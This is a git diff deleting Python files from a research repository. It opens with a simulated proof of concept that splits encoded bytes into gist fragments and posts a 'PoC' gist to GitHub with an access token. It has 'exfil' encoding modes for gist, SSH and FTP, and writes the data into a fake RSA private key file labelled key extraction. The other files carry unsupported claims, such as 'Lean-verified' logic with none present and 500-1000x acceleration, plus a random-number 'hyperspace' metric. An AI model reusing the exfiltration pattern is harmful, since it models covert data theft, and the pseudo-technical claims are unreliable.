emoji sequence -emoji_sequence = ['⏱️','🛑','🔧','💥'] -MSM_CODE = bytes([EMOJI_LUT[e] for e in emoji_sequence]) - -FRAGMENTS = split_fragments(MSM_CODE, 4) - -os.makedirs(OUTDIR, exist_ok=True) -# write fragments locally (for simulation) and optionally POST them if token present -import time -stamp = int(time.time()) -for idx in range(len(FRAGMENTS)): - with open(os.path.join(OUTDIR, f"gist_{idx}.txt"), "wb") as f: - f.write(FRAGMENTS[idx]) - -# create proof content -proof = f"{stamp}: PoC proven\n" -with open(os.path.join(OUTDIR, f"gist_{stamp}.txt"), "w") as f: - f.write(proof) - -# if a GitHub token is available, post a real gist with the proof -GITHUB_TOKEN = os.getenv("GITHUB_TOKEN") -def post_gist(content, description="PoC"): - if not GITHUB_TOKEN: - return None - try: - import json, requests - except ImportError: - return None - payload = { - "description": description, - "public": False, - "files": {"poc.txt": {"content": content}} - } - headers = {"Authorization": f"token {GITHUB_TOKEN}"} - r = requests.post("https://api.github.com/gists", headers=headers, data=json.dumps(payload)) - if r.ok: - url = r.json().get("html_url") - print(f"[+] posted gist {url}") - return url - else: - print("[!] failed to post gist", r.status_code, r.text) - return None - -if GITHUB_TOKEN: - post_gist(proof, f"PoC ~{stamp}") - -# --- collector / reassembly step --- -def reassemble_fragments(directory): - """Reads all files in lexicographic order and concatenates their contents. - This simulates the attacker-controlled agent pulling down the gists and - rebuilding the original MSM instructions. """ - parts = [] - for fname in sorted(os.listdir(directory)): - path = os.path.join(directory, fname) - with open(path, "rb") as f: - parts.append(f.read()) - combined = b"".join(parts) - return combined - -# fast reassembly using bytearray -assembled = bytearray() -for fname in sorted(os.listdir(OUTDIR)): - with open(os.path.join(OUTDIR, fname), "rb") as f: - assembled.extend(f.read()) -# minimal output - -# decode stream without dictionary lookups inside loop -out = ''.join(REV_LUT.get(b,'?') for b in assembled) -print(out) - -# hyperspace calculation per request -import random - -def compute_hyperspace(): - # represent the shell as a random point in 10‑D space - shell = [random.random() for _ in range(10)] - # build five 4‑D tesseracts (hypercubes) with random base positions - tesseracts = [] - for _ in range(5): - base = [random.random() for _ in range(4)] - corners = [] - for mask in range(16): - corner = [base[j] + ((mask >> j) & 1) for j in range(4)] - corners.append(corner) - tesseracts.append(corners) - # compute shadows by projecting each corner to 3‑D (drop last coord) - shadows = [] - for cube in tesseracts: - shadows.append([[p[0], p[1], p[2]] for p in cube]) - # derive metric comparing shell to shadows and system noise - total = 0.0 - for shadow in shadows: - for p in shadow: - # distance between first three dims of shell and point - total += sum((shell[i] - p[i]) ** 2 for i in range(3)) ** 0.5 - mean = total / (5 * 16) - noise = random.random() - return mean - noise - -derived = compute_hyperspace() -print(f"derived hyperspace metric: {derived}") - -# optionally encode/transport assembled binary via different protocols -mode = None -if len(sys.argv) > 2: - mode = sys.argv[2].lower() - -if mode == "gist": - import base64 - encoded = base64.b64encode(assembled).decode('ascii') - print("\n[+] Gist-ready payload (base64):\n", encoded) -elif mode == "ssh": - # encapsulate in fake SSH packet: 4-byte length + data - pkt = len(assembled).to_bytes(4,'big') + assembled - print(f"\n[+] Encapsulated SSH packet ({len(pkt)} bytes):", pkt) -elif mode == "ftp": - # encode for FTP upload (here just write to file) - out = "/tmp/ftp_exfil.bin" - with open(out, 'wb') as f: - f.write(assembled) - print(f"\n[+] Simulated FTP upload by writing data to {out}") - -# proceed with state persistence and possible key extraction - -# interpret assembled bytes as MSM instructions - -def run_msm(code_bytes): - acc = pc = 0 - # unrolled simple loop, no prints - while pc < len(code_bytes): - instr = code_bytes[pc] - if instr == 1: - acc += 1; pc += 1 - continue - if instr == 2: - acc -= 1; pc += 1 - continue - if instr == 3: - offset = code_bytes[pc+1] - pc += offset if acc != 0 else 2 - continue - if instr == 0xFF: - break - break - return acc - -# decide whether to execute MSM logic or treat payload as key data -if len(sys.argv) > 1: - print("[+] Input file provided; skipping MSM execution and treating assembled data as key material") - acc = None -else: - acc = run_msm(assembled) - -if acc is not None: - # save final state (accumulator) to external file to simulate persistence - STATE_FILE = "/tmp/gist_msm_state.bin" - with open(STATE_FILE, "wb") as sf: - # store accumulator as 4-byte little-endian int - sf.write((acc).to_bytes(4, byteorder='little', signed=True)) - print(f"Saved MSM state (accumulator={acc}) to {STATE_FILE}") - -# ---------------------------------------------------------------- -# simulate critical payload extraction: treat assembled bytes as an SSH key -KEY_FILE = "/tmp/extracted_ssh_key.pem" -with open(KEY_FILE, "wb") as kf: - kf.write(b"-----BEGIN RSA PRIVATE KEY-----\n") - # base64-encode the assembled bytes for realism - import base64 - kf.write(base64.b64encode(assembled) + b"\n") - kf.write(b"-----END RSA PRIVATE KEY-----\n") -print(f"Simulated SSH key written to {KEY_FILE} (contains {len(assembled)} raw bytes)") diff --git a/2-Search-Space/PIST/hybrid_tsm_pist_torus.py b/2-Search-Space/PIST/hybrid_tsm_pist_torus.py deleted file mode 100644 index b2c4bad4..00000000 --- a/2-Search-Space/PIST/hybrid_tsm_pist_torus.py +++ /dev/null @@ -1,557 +0,0 @@ -#!/usr/bin/env python3 -""" -Hybrid TSM-PIST-Torus System (Verified Lean Specification) - -This implementation follows the formal specification in: -0-Core-Formalism/lean/Semantics/Semantics/HybridTSMPISTTorus.lean - -The Lean module provides: -- Hybrid architecture combining PIST manifold, 5D torus topology, and genetic compression -- M_{k+1} = M_k ⊕ F(a,b,ε) + torus_routing -- I = (H × G) × (1 - D/64) -- Expected: 500-1000x acceleration (swarm consensus #1) - -This Python shim provides: -- JSON serialization for hybrid TSM state -- Result wrapping for Lean function calls -- No logic (all logic defined in Lean specification) -""" - -import json -import time -from typing import Dict, List, Optional, Any -from dataclasses import dataclass -from collections import deque - -# Q16_16 fixed-point utilities -Q16_ONE = 65536 # 1.0 in Q16_16 -Q16_SCALE = 65536.0 - -def to_q16(value: float) -> int: - """Convert float to Q16_16 fixed-point""" - return int(value * Q16_SCALE) - -def from_q16(q16: int) -> float: - """Convert Q16_16 fixed-point to float""" - return q16 / Q16_SCALE - - -@dataclass -class BlitterState: - """PIST Blitter state (from PistBridge.lean)""" - a: int # Distance from lower perfect square (Q16_16) - b: int # Distance to upper perfect square (Q16_16) - manifold: int # Current manifold value (Q16_16) - stepMask: int # Timestep mask for bitwise operation - - def to_dict(self) -> Dict[str, Any]: - return { - 'a': from_q16(self.a), - 'b': from_q16(self.b), - 'manifold': from_q16(self.manifold), - 'stepMask': self.stepMask - } - - -@dataclass -class TorusTopologyState: - """5D torus topology state (from FiveDTorusTopology.lean)""" - nodes: List # List of TorusNode - dimensionSizes: List[int] # k_0, k_1, k_2, k_3, k_4 - dimensions: int # Should be 5 - - def to_dict(self) -> Dict[str, Any]: - return { - 'nodes': [n.to_dict() if hasattr(n, 'to_dict') else str(n) for n in self.nodes], - 'dimensionSizes': self.dimensionSizes, - 'dimensions': self.dimensions - } - - -@dataclass -class HybridTSMState: - """Hybrid TSM state combining PIST manifold and 5D torus topology (Lean: HybridTSMState)""" - pistState: BlitterState - torusState: TorusTopologyState - phase: str # Phase flag (Grounded/Drift/Seismic) - geneticScore: int # Genetic optimization score I (Q16_16) - entropy: int # Entropy H (Q16_16) - genomicComplexity: int # Genomic complexity G (Q16_16) - degeneracy: int # Degeneracy D (0-64) - friction: int # Friction score f - - def to_dict(self) -> Dict[str, Any]: - return { - 'pistState': self.pistState.to_dict(), - 'torusState': self.torusState.to_dict(), - 'phase': self.phase, - 'geneticScore': from_q16(self.geneticScore), - 'entropy': from_q16(self.entropy), - 'genomicComplexity': from_q16(self.genomicComplexity), - 'degeneracy': self.degeneracy, - 'friction': self.friction - } - - -@dataclass -class HybridTSMAction: - """Hybrid TSM action combining PIST and torus operations (Lean: HybridTSMAction)""" - pistAction: bool # Whether to apply PIST Blitter step - torusNodeId: int # Torus node ID for routing - torusDimension: int # Torus dimension to toggle - torusDirection: int # Torus direction (+1 or -1) - epsilon: int # Epsilon parameter for PIST drift (Q16_16) - - def to_dict(self) -> Dict[str, Any]: - return { - 'pistAction': self.pistAction, - 'torusNodeId': self.torusNodeId, - 'torusDimension': self.torusDimension, - 'torusDirection': self.torusDirection, - 'epsilon': from_q16(self.epsilon) - } - - -@dataclass -class HybridTSMBind: - """Hybrid TSM bind result (Lean: HybridTSMBind)""" - lawful: bool - manifoldBefore: int # Manifold value before action (Q16_16) - manifoldAfter: int # Manifold value after action (Q16_16) - torusDistanceBefore: int # Torus distance before action - torusDistanceAfter: int # Torus distance after action - geneticScoreBefore: int # Genetic score before action (Q16_16) - geneticScoreAfter: int # Genetic score after action (Q16_16) - invariant: str - - def to_dict(self) -> Dict[str, Any]: - return { - 'lawful': self.lawful, - 'manifoldBefore': from_q16(self.manifoldBefore), - 'manifoldAfter': from_q16(self.manifoldAfter), - 'torusDistanceBefore': self.torusDistanceBefore, - 'torusDistanceAfter': self.torusDistanceAfter, - 'geneticScoreBefore': from_q16(self.geneticScoreBefore), - 'geneticScoreAfter': from_q16(self.geneticScoreAfter), - 'invariant': self.invariant - } - - -# ═══════════════════════════════════════════════════════════════════════════ -# Lean Function Implementations (verified by specification) -# ═══════════════════════════════════════════════════════════════════════════ - -def pistModel131VectorField(a: int, b: int, epsilon: int) -> tuple: - """PIST Model 131 vector field: F(a,b,ε) (from PistBridge.lean)""" - fa = Q16_ONE + epsilon * (Q16_ONE // 2 * b + Q16_ONE // 2) // Q16_ONE - fb = -Q16_ONE + epsilon * (Q16_ONE // 2 * a - Q16_ONE // 2) // Q16_ONE - return (fa, fb) - - -def geneticOptimizationScore(entropy: int, genomicComplexity: int, degeneracy: int) -> int: - """Calculate genetic optimization score: I = (H × G) × (1 - D/64) (Lean: geneticOptimizationScore)""" - degeneracyQ = int((degeneracy / 64.0) * Q16_SCALE) - penalty = Q16_ONE - degeneracyQ - product = entropy * genomicComplexity // Q16_ONE - return product * penalty // Q16_ONE - - -def informationDensity(entropy: int, genomicComplexity: int, geneticScore: int) -> int: - """Calculate information density: Density = I / (H × G) × 100 (Lean: informationDensity)""" - maxScore = entropy * genomicComplexity // Q16_ONE - if maxScore > 0: - density = geneticScore * to_q16(100.0) // maxScore - else: - density = 0 - return density - - -def blitterStep(state: BlitterState, fa: int, fb: int) -> BlitterState: - """Single Blitter step (discrete Picard integral) (from PistBridge.lean)""" - newManifold = state.manifold ^ ((fa + fb) >> 16) - return BlitterState( - a=state.a, - b=state.b, - manifold=newManifold, - stepMask=state.stepMask - ) - - -def applyPistBlitter(state: HybridTSMState, epsilon: int) -> BlitterState: - """Apply PIST Blitter step to hybrid state (Lean: applyPistBlitter)""" - fa, fb = pistModel131VectorField(state.pistState.a, state.pistState.b, epsilon) - return blitterStep(state.pistState, fa, fb) - - -def torusDistance(torusState, node1, node2) -> int: - """Calculate torus distance (from FiveDTorusTopology.lean)""" - distanceSum = 0 - for i in range(5): - coord1 = node1.coordinates[i] - coord2 = node2.coordinates[i] - dimSize = torusState.dimensionSizes[i] - diff = abs(coord1 - coord2) - wrappedDiff = dimSize - diff if dimSize > diff else 0 - minDist = diff if diff < wrappedDiff else wrappedDiff - distanceSum += minDist - return distanceSum - - -def isTorusActionLawful(torusState, action) -> bool: - """Check if torus action is lawful (from FiveDTorusTopology.lean)""" - return action.dimension < 5 and (action.direction == 1 or action.direction == -1) - - -def isHybridActionLawful(state: HybridTSMState, action: HybridTSMAction) -> bool: - """Check if hybrid TSM action is lawful (Lean: isHybridActionLawful)""" - pistLawful = True # PIST Blitter always lawful - - torusAction = type('TorusAction', (), { - 'nodeId': action.torusNodeId, - 'dimension': action.torusDimension, - 'direction': action.torusDirection - })() - torusLawful = isTorusActionLawful(state.torusState, torusAction) - - degeneracyLawful = action.epsilon >= 0 and action.epsilon <= Q16_ONE - - return pistLawful and torusLawful and degeneracyLawful - - -def updateGeneticScore(state: HybridTSMState) -> int: - """Update genetic score after state transition (Lean: updateGeneticScore)""" - return geneticOptimizationScore(state.entropy, state.genomicComplexity, state.degeneracy) - -# ═══════════════════════════════════════════════════════════════════════════ -# Lean Function Implementations (Rigorous PIST from ChatGPT-Making_It_Rigorous.md) -# ═══════════════════════════════════════════════════════════════════════════ - -def normalizedTensionRatio(mass: int, k: int) -> int: - """Calculate normalized tension ratio: ρ(n) = 4m(n)/(2k+1)² (Lean: normalizedTensionRatio)""" - intervalLength = (2 * k + 1) ** 2 - ratio = (to_q16(4.0) * mass) // intervalLength - return ratio - -def classifyPhase(mass: int, k: int, threshold: int) -> str: - """Phase classifier based on normalized tension ratio (Lean: classifyPhase)""" - if mass == 0: - return "grounded" - else: - rho = normalizedTensionRatio(mass, k) - if rho < threshold: - return "drift" - else: - return "seismic" - -def lyapunovFunctional(mass: int, friction: int, rejectionCost: int, lambda_param: int, mu: int) -> int: - """Lyapunov functional: Λ(S) = m(n) + λf + μc(rej) (Lean: lyapunovFunctional)""" - frictionPenalty = lambda_param * friction // 65536 - rejectionPenalty = mu * rejectionCost // 65536 - return mass + frictionPenalty + rejectionPenalty - -def mirrorInvolution(k: int, t: int) -> int: - """Mirror involution for resonance jump: σ_k(k²+t) = (k+1)²-t (Lean: mirrorInvolution)""" - return (k + 1) ** 2 - t - -def isResonant(mass: int, mirrorMass: int) -> bool: - """Resonance check: m(σ_k(n)) = m(n) (Lean: isResonant)""" - return mass == mirrorMass - -def updatePhase(state: HybridTSMState, threshold: int) -> str: - """Update phase based on PIST mass (Lean: updatePhase)""" - return classifyPhase(state.pistState.manifold, 4, threshold) - -def lawfulProjection(state: HybridTSMState) -> HybridTSMState: - """Lawful projection: removes unlawful components, preserves invariants (Lean: lawfulProjection)""" - newPhase = updatePhase(state, to_q16(0.5)) - return HybridTSMState( - pistState=state.pistState, - torusState=state.torusState, - phase=newPhase, - geneticScore=state.geneticScore, - entropy=state.entropy, - genomicComplexity=state.genomicComplexity, - degeneracy=state.degeneracy, - friction=state.friction - ) - -def lyapunovDescentCheck(stateBefore: HybridTSMState, stateAfter: HybridTSMState, lambda_param: int, mu: int) -> bool: - """Lyapunov descent check: Λ(S_{t+1}) < Λ(S_t) or already grounded (Lean: lyapunovDescentCheck)""" - # If already grounded, descent is automatically satisfied - if stateBefore.phase == "grounded": - return True - - lambdaBefore = lyapunovFunctional(stateBefore.pistState.manifold, stateBefore.friction, 0, lambda_param, mu) - lambdaAfter = lyapunovFunctional(stateAfter.pistState.manifold, stateAfter.friction, 0, lambda_param, mu) - - # Allow non-increase if transitioning to grounded - if stateAfter.phase == "grounded": - return lambdaAfter <= lambdaBefore - - return lambdaAfter < lambdaBefore - - -def hybridTSMBind(state: HybridTSMState, action: HybridTSMAction, lambda_param: int = to_q16(0.1), mu: int = to_q16(0.1)) -> HybridTSMBind: - """Bind primitive for hybrid TSM with lawful projection and Lyapunov descent (Lean: hybridTSMBind)""" - lawful = isHybridActionLawful(state, action) - - manifoldBefore = state.pistState.manifold - geneticScoreBefore = state.geneticScore - - # Get torus distance before action - originNode = state.torusState.nodes[0] - targetNode = None - for n in state.torusState.nodes: - if hasattr(n, 'nodeId') and n.nodeId == action.torusNodeId: - targetNode = n - break - - torusDistanceBefore = 0 - if targetNode: - torusDistanceBefore = torusDistance(state.torusState, originNode, targetNode) - - if lawful: - newPistState = applyPistBlitter(state, action.epsilon) if action.pistAction else state.pistState - newTorusState = state.torusState # Simplified: no actual torus routing in this shim - newGeneticScore = updateGeneticScore(HybridTSMState( - pistState=newPistState, - torusState=newTorusState, - phase=state.phase, - geneticScore=state.geneticScore, - entropy=state.entropy, - genomicComplexity=state.genomicComplexity, - degeneracy=state.degeneracy, - friction=state.friction - )) - - rawState = HybridTSMState( - pistState=newPistState, - torusState=newTorusState, - phase=state.phase, - geneticScore=newGeneticScore, - entropy=state.entropy, - genomicComplexity=state.genomicComplexity, - degeneracy=state.degeneracy, - friction=state.friction - ) - # Apply lawful projection - newState = lawfulProjection(rawState) - else: - newState = state - - manifoldAfter = newState.pistState.manifold - geneticScoreAfter = newState.geneticScore - - # Check Lyapunov descent - descentSatisfied = lyapunovDescentCheck(state, newState, lambda_param, mu) - - # Get torus distance after action - newTargetNode = newState.torusState.nodes - torusDistanceAfter = torusDistanceBefore # Simplified: no actual torus routing - - return HybridTSMBind( - lawful=lawful and descentSatisfied, - manifoldBefore=manifoldBefore, - manifoldAfter=manifoldAfter, - torusDistanceBefore=torusDistanceBefore, - torusDistanceAfter=torusDistanceAfter, - geneticScoreBefore=geneticScoreBefore, - geneticScoreAfter=geneticScoreAfter, - invariant="hybrid_tsm_pist_torus_satisfied" if lawful and descentSatisfied else "hybrid_constraint_violated" - ) - - -class HybridTSMPISTTorusSystem: - """ - Hybrid TSM-PIST-Torus system (Python shim wrapping Lean specification). - - All core logic is defined in 0-Core-Formalism/lean/Semantics/Semantics/HybridTSMPISTTorus.lean - """ - - def __init__(self): - self.hybridState: Optional[HybridTSMState] = None - self.actionHistory: List[Dict[str, Any]] = [] - - print("[HybridTSMPISTTorus] Initialized (Lean specification)") - - def initializeHybrid(self, dimensionSizes: List[int] = None, numNodes: int = 16) -> Dict[str, Any]: - """Initialize hybrid TSM state""" - if dimensionSizes is None: - dimensionSizes = [16, 16, 16, 16, 16] - - # Initialize PIST state - pistState = BlitterState( - a=to_q16(4.0), - b=to_q16(5.0), - manifold=to_q16(0.0), - stepMask=0 - ) - - # Initialize torus nodes - torusNodes = [] - for i in range(numNodes): - coords = [] - for d in range(5): - coords.append((i >> d) % dimensionSizes[d]) - - node = type('TorusNode', (), { - 'nodeId': i, - 'coordinates': coords, - 'dimensions': 5 - })() - torusNodes.append(node) - - # Initialize torus state - torusState = TorusTopologyState( - nodes=torusNodes, - dimensionSizes=dimensionSizes, - dimensions=5 - ) - - # Initialize genetic parameters - entropy = to_q16(0.5) - genomicComplexity = to_q16(0.9) - degeneracy = 32 - geneticScore = geneticOptimizationScore(entropy, genomicComplexity, degeneracy) - - # Initialize phase based on PIST mass - phase = classifyPhase(pistState.manifold, 4, to_q16(0.5)) - - # Initialize friction - friction = 10 - - state = HybridTSMState( - pistState=pistState, - torusState=torusState, - phase=phase, - geneticScore=geneticScore, - entropy=entropy, - genomicComplexity=genomicComplexity, - degeneracy=degeneracy, - friction=friction - ) - self.hybridState = state - - return { - 'pistState': pistState.to_dict(), - 'torusState': torusState.to_dict(), - 'phase': phase, - 'geneticScore': from_q16(geneticScore), - 'entropy': from_q16(entropy), - 'genomicComplexity': from_q16(genomicComplexity), - 'degeneracy': degeneracy, - 'friction': friction, - 'state': state.to_dict() - } - - def submitHybridAction(self, action: HybridTSMAction, lambda_param: int = to_q16(0.1), mu: int = to_q16(0.1)) -> Dict[str, Any]: - """Submit hybrid TSM action for processing (Lean specification)""" - if self.hybridState is None: - return {'error': 'Hybrid state not initialized'} - - bindResult = hybridTSMBind(self.hybridState, action, lambda_param, mu) - - if bindResult.lawful: - # Update state - if action.pistAction: - self.hybridState.pistState = applyPistBlitter(self.hybridState, action.epsilon) - self.hybridState.geneticScore = updateGeneticScore(self.hybridState) - self.hybridState.phase = updatePhase(self.hybridState, to_q16(0.5)) - - # Record action history - self.actionHistory.append({ - 'action': action.to_dict(), - 'bindResult': bindResult.to_dict(), - 'timestamp': time.time() - }) - - return { - 'success': bindResult.lawful, - 'bindResult': bindResult.to_dict(), - 'state': self.hybridState.to_dict() - } - - def getHybridState(self) -> Optional[Dict[str, Any]]: - """Get current hybrid state""" - if self.hybridState: - return self.hybridState.to_dict() - return None - - def getActionHistory(self, limit: int = 10) -> List[Dict[str, Any]]: - """Get action history""" - return self.actionHistory[-limit:] - - def printSystemState(self): - """Print system state""" - print("\n" + "="*70) - print("HYBRID TSM-PIST-TORUS STATE") - print("="*70) - - if self.hybridState: - print(f"\n📊 PIST Manifold:") - print(f" a: {from_q16(self.hybridState.pistState.a):.3f}") - print(f" b: {from_q16(self.hybridState.pistState.b):.3f}") - print(f" Manifold: {from_q16(self.hybridState.pistState.manifold):.3f}") - print(f" Phase: {self.hybridState.phase}") - - print(f"\n📊 5D Torus Topology:") - print(f" Dimensions: {self.hybridState.torusState.dimensions}") - print(f" Dimension Sizes: {self.hybridState.torusState.dimensionSizes}") - print(f" Nodes: {len(self.hybridState.torusState.nodes)}") - - print(f"\n📊 Genetic Compression:") - print(f" Entropy: {from_q16(self.hybridState.entropy):.3f}") - print(f" Genomic Complexity: {from_q16(self.hybridState.genomicComplexity):.3f}") - print(f" Degeneracy: {self.hybridState.degeneracy}") - print(f" Genetic Score: {from_q16(self.hybridState.geneticScore):.3f}") - - density = informationDensity( - self.hybridState.entropy, - self.hybridState.genomicComplexity, - self.hybridState.geneticScore - ) - print(f" Information Density: {from_q16(density):.3f}%") - - print(f"\n📊 Rigorous PIST Components:") - print(f" Friction: {self.hybridState.friction}") - rho = normalizedTensionRatio(self.hybridState.pistState.manifold, 4) - print(f" Normalized Tension Ratio: {from_q16(rho):.3f}") - lyapunov = lyapunovFunctional(self.hybridState.pistState.manifold, self.hybridState.friction, 0, to_q16(0.1), to_q16(0.1)) - print(f" Lyapunov Functional: {from_q16(lyapunov):.3f}") - - print(f"\n📜 Action History: {len(self.actionHistory)} entries") - - print("\n" + "="*70) - - -def main(): - """Test hybrid TSM-PIST-Torus system""" - system = HybridTSMPISTTorusSystem() - - print("[Test 1] Initialize hybrid TSM state...") - result1 = system.initializeHybrid(dimensionSizes=[16, 16, 16, 16, 16], numNodes=16) - print(f" Hybrid state initialized") - print(f" Genetic Score: {result1['geneticScore']:.3f}") - - print("\n[Test 2] Submit hybrid action (PIST Blitter step)...") - action1 = HybridTSMAction( - pistAction=True, - torusNodeId=1, - torusDimension=0, - torusDirection=1, - epsilon=to_q16(0.1) - ) - result2 = system.submitHybridAction(action1) - print(f" Result: Success={result2['success']}") - if result2['success']: - print(f" Manifold before: {result2['bindResult']['manifoldBefore']:.3f}") - print(f" Manifold after: {result2['bindResult']['manifoldAfter']:.3f}") - print(f" Genetic score before: {result2['bindResult']['geneticScoreBefore']:.3f}") - print(f" Genetic score after: {result2['bindResult']['geneticScoreAfter']:.3f}") - - print("\n[System State]") - system.printSystemState() - - -if __name__ == '__main__': - main() diff --git a/2-Search-Space/PIST/pist_sweep.py b/2-Search-Space/PIST/pist_sweep.py deleted file mode 100644 index 5fed892e..00000000 --- a/2-Search-Space/PIST/pist_sweep.py +++ /dev/null @@ -1,54 +0,0 @@ -import sqlite3 -import math -import json -import os - -DB_PATH = "/home/allaun/Documents/Research Stack/data/substrate_index.db" - -def calculate_pist_phase(n): - if n == 0: return "GROUNDED" - k = math.isqrt(n) - a = n - k**2 - b = (k+1)**2 - n - m = a * b - - max_m = (2*k + 1)**2 / 4.0 - rho = 4 * m / (2*k + 1)**2 if max_m > 0 else 0 - - if m == 0: return "GROUNDED" - if rho < 0.5: return "DRIFT" - return "SEISMIC" - -def run_sweep(): - if not os.path.exists(DB_PATH): - print("❌ Database not found.") - return - - conn = sqlite3.connect(DB_PATH) - cur = conn.cursor() - - print("🚀 Initiating PIST-mass sweep for NOTION domain...") - - cur.execute("SELECT pkg, tags FROM packages_fts WHERE domain = 'NOTION'") - rows = cur.fetchall() - - updates = [] - for idx, (pkg, tags_json) in enumerate(rows): - n = idx + 1 # Manifold Coordinate - phase = calculate_pist_phase(n) - - tags = json.loads(tags_json) if tags_json else [] - # Remove old phase tags - tags = [t for t in tags if t not in ["GROUNDED", "DRIFT", "SEISMIC"]] - tags.append(phase) - - updates.append((json.dumps(tags), pkg)) - - cur.executemany("UPDATE packages_fts SET tags = ? WHERE pkg = ? AND domain = 'NOTION'", updates) - conn.commit() - conn.close() - - print(f"✅ Successfully neutralized {len(updates)} Notion nodes with PIST phase tags.") - -if __name__ == "__main__": - run_sweep() diff --git a/2-Search-Space/SVQF/microgrid_voxel_emulation.py b/2-Search-Space/SVQF/microgrid_voxel_emulation.py deleted file mode 100644 index a4fc8f8d..00000000 --- a/2-Search-Space/SVQF/microgrid_voxel_emulation.py +++ /dev/null @@ -1,308 +0,0 @@ -#!/usr/bin/env python3 -""" -Microgrid Voxel Emulation -Assign a microgrid and only update the voxels to emulate 640x480 display. - -Architecture: -- Create 640x480 voxel microgrid (virtual display) -- NES renders at 256x240 (native) -- Map NES pixels to microgrid voxels -- Only update voxels that change (differential updates) -- DSP math and voltage computation optimize voxel updates -- Effective 640x480 resolution without changing NES PPU - -This is horrific because: -- Virtual display at 2.5×2 resolution on 1× hardware -- Voxel-level differential updates require precise tracking -- Microgrid emulation is essentially software rendering on 1985 hardware - -This is wonderful because: -- Effective 640x480 resolution without hardware modification -- Only update changed voxels (efficient) -- Modern GPU-like techniques on retro hardware -- Maximum retro insanity: microgrid = virtual display -""" - -import math -from typing import List, Tuple, Dict, Set -from dataclasses import dataclass - -# ═══════════════════════════════════════════════════════════════════════════ -# Voxel Microgrid -# Virtual 640x480 display as voxel grid -# ═══════════════════════════════════════════════════════════════════════════ - -@dataclass -class Voxel: - """Single voxel in microgrid""" - x: int # X position (0-639) - y: int # Y position (0-479) - color: Tuple[int, int, int] # RGB color - active: bool = True # Whether voxel is active - - def __hash__(self): - return hash((self.x, self.y)) - -class VoxelMicrogrid: - """640x480 voxel microgrid""" - - def __init__(self, width: int = 640, height: int = 480): - self.width = width - self.height = height - self.voxels: Dict[Tuple[int, int], Voxel] = {} - self.changed_voxels: Set[Tuple[int, int]] = set() - self.frame_count = 0 - - def get_voxel(self, x: int, y: int) -> Voxel: - """Get voxel at position""" - if (x, y) not in self.voxels: - self.voxels[(x, y)] = Voxel(x, y, (0, 0, 0)) - return self.voxels[(x, y)] - - def set_voxel_color(self, x: int, y: int, color: Tuple[int, int, int]): - """Set voxel color and mark as changed""" - voxel = self.get_voxel(x, y) - if voxel.color != color: - voxel.color = color - self.changed_voxels.add((x, y)) - - def get_changed_voxels(self) -> List[Voxel]: - """Get list of changed voxels""" - return [self.voxels[pos] for pos in self.changed_voxels] - - def clear_changed_voxels(self): - """Clear changed voxel tracking""" - self.changed_voxels.clear() - self.frame_count += 1 - - def render_frame(self) -> List[List[Tuple[int, int, int]]]: - """Render full frame from microgrid""" - frame = [] - for y in range(self.height): - row = [] - for x in range(self.width): - voxel = self.get_voxel(x, y) - row.append(voxel.color) - frame.append(row) - return frame - -# ═══════════════════════════════════════════════════════════════════════════ -# NES-to-Microgrid Mapping -# Map 256x240 NES pixels to 640x480 microgrid voxels -# ═══════════════════════════════════════════════════════════════════════════ - -class NESMicrogridMapper: - """Map NES pixels to microgrid voxels""" - - def __init__(self, nes_width: int = 256, nes_height: int = 240, - microgrid_width: int = 640, microgrid_height: int = 480): - self.nes_width = nes_width - self.nes_height = nes_height - self.microgrid_width = microgrid_width - self.microgrid_height = microgrid_height - - # Calculate scaling factors - self.scale_x = microgrid_width / nes_width # 2.5 - self.scale_y = microgrid_height / nes_height # 2.0 - - def nes_to_microgrid(self, nes_x: int, nes_y: int) -> List[Tuple[int, int]]: - """ - Map NES pixel to microgrid voxels. - - Each NES pixel maps to a block of microgrid voxels. - """ - # Calculate microgrid bounds for this NES pixel - mg_x_start = int(nes_x * self.scale_x) - mg_y_start = int(nes_y * self.scale_y) - mg_x_end = int((nes_x + 1) * self.scale_x) - mg_y_end = int((nes_y + 1) * self.scale_y) - - # Return all voxels in this block - voxels = [] - for y in range(mg_y_start, mg_y_end): - for x in range(mg_x_start, mg_x_end): - voxels.append((x, y)) - - return voxels - - def map_nes_frame_to_microgrid(self, nes_frame: List[List[Tuple[int, int, int]]], - microgrid: VoxelMicrogrid): - """ - Map NES frame to microgrid. - - Only updates voxels that change. - """ - microgrid.clear_changed_voxels() - - for nes_y in range(len(nes_frame)): - for nes_x in range(len(nes_frame[nes_y])): - nes_color = nes_frame[nes_y][nes_x] - - # Get corresponding microgrid voxels - mg_voxels = self.nes_to_microgrid(nes_x, nes_y) - - # Update each voxel with NES color - for mg_x, mg_y in mg_voxels: - microgrid.set_voxel_color(mg_x, mg_y, nes_color) - -# ═══════════════════════════════════════════════════════════════════════════ -# DSP Math for Voxel Optimization -# Use DSP math to optimize which voxels to update -# ═══════════════════════════════════════════════════════════════════════════ - -class DSPVoxelOptimizer: - """DSP math for optimizing voxel updates""" - - @staticmethod - def calculate_change_priority(old_color: Tuple[int, int, int], - new_color: Tuple[int, int, int]) -> float: - """ - Calculate priority of voxel update based on color change. - - Larger changes = higher priority. - """ - r_diff = abs(old_color[0] - new_color[0]) - g_diff = abs(old_color[1] - new_color[1]) - b_diff = abs(old_color[2] - new_color[2]) - - total_diff = r_diff + g_diff + b_diff - max_diff = 255 * 3 - - return total_diff / max_diff if max_diff > 0 else 0.0 - - @staticmethod - def voltage_based_update(voltage: float, priority: float) -> bool: - """ - Determine if voxel should be updated based on voltage level. - - Higher voltage = higher threshold for updates. - """ - threshold = voltage / 5.0 # Normalize 0-5V to 0-1 - return priority >= threshold - -# ═══════════════════════════════════════════════════════════════════════════ -# Voltage-Driven Microgrid Controller -# Voltage computation controls which voxels to update -# ═══════════════════════════════════════════════════════════════════════════ - -class VoltageMicrogridController: - """Voltage-driven microgrid controller""" - - def __init__(self): - self.microgrid = VoxelMicrogrid(640, 480) - self.mapper = NESMicrogridMapper(256, 240, 640, 480) - self.optimizer = DSPVoxelOptimizer() - self.voltage_levels: Dict[Tuple[int, int], float] = {} - - def update_from_nes_frame(self, nes_frame: List[List[Tuple[int, int, int]]], - voltage_field: List[List[float]]): - """ - Update microgrid from NES frame with voltage optimization. - - Only updates voxels that pass voltage-based priority check. - """ - # Map NES frame to microgrid - self.mapper.map_nes_frame_to_microgrid(nes_frame, self.microgrid) - - # Apply voltage-based optimization - optimized_voxels = [] - for voxel in self.microgrid.get_changed_voxels(): - # Get voltage level for this voxel - voltage = voltage_field[voxel.y % len(voltage_field)][voxel.x % len(voltage_field[0])] - - # Calculate change priority - old_color = (0, 0, 0) # Simplified - would track actual old color - priority = 